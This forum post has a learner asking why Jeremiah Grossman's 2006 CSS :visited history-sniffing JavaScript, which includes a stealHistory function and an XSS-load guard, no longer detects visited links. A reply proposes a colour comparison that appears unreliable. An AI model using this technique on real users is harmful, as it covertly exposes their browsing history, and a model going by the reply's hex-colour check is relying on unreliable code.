Jeremiah Grossman JavaScript code for browser history CSS

I am trying to learn JavaScript and am having a problem with this particular code from Jeremiah Grossman can be found at http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html.

Its an old post 2006 I believe. It basicly uses JavaScript and CSS to find out visited links in your browser history.

<script type="text/javascript">
var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

// popular websites. Lookup if user has visited any.
var websites = [
  "http://ajaxian.com/",

];

/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {

  var d = document.createElement('div');
  d.id = 'xss_flag';
  document.body.appendChild(d);

  var d = document.createElement('table');
  d.border = 0;
  d.cellpadding = 5;
  d.cellspacing = 10;
  d.width = '90%';
  d.align = 'center';
  d.id = 'data';
  document.body.appendChild(d);

  /* launch steal history */

if (is_mozilla) {
  stealHistory();
}

}

function stealHistory() {

  // loop through websites and check which ones have been visited
  for (var i = 0; i < websites.length; i++) {          
         var link = document.createElement("a");       
         link.id = "id" + i;       
         link.href = websites[i];       
         link.innerHTML = websites[i];              
         document.body.appendChild(link);       
         var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");       
         document.body.removeChild(link);       
// check for visited       
     if (color == "rgb(0, 0, 255)") {           
         document.write('' + websites[i] + '');
      } // end visited check
  
  } // end visited website loop

} // end stealHistory method
</script>

However, after 6 hours I am trying to get it to work properly but I have problems. The reason I found it not working is the if() below

// check for visited       
     if (color == "rgb(0, 0, 255)") {           
         document.write('' + websites[i] + '');
      } // end visited check

Before the if() I checked what color was being set in the var 'color' and all the links for each element in the array is returning `rgb(0, 0, 238)? I am not sure what these colors mean and how to get it to 0,0,255 so the if() will work?

I am guessing it could be that I have latest Firefox version 8.0.1? I have visited few of the links so they are defo in my browser history yet the color returned does not change? Any help would be greatly appreciated thanks for your time.

if you define your a:link, a:visited colors say using css you will then beable to easly check for example, see if that helps.

<style>
  a:link{color:green}
  a:visited {color:#993300}
 </style>


    // check for visited       
     if (color == "#993300") {           
      document.write('' + websites[i] + '');
    } // end visited check
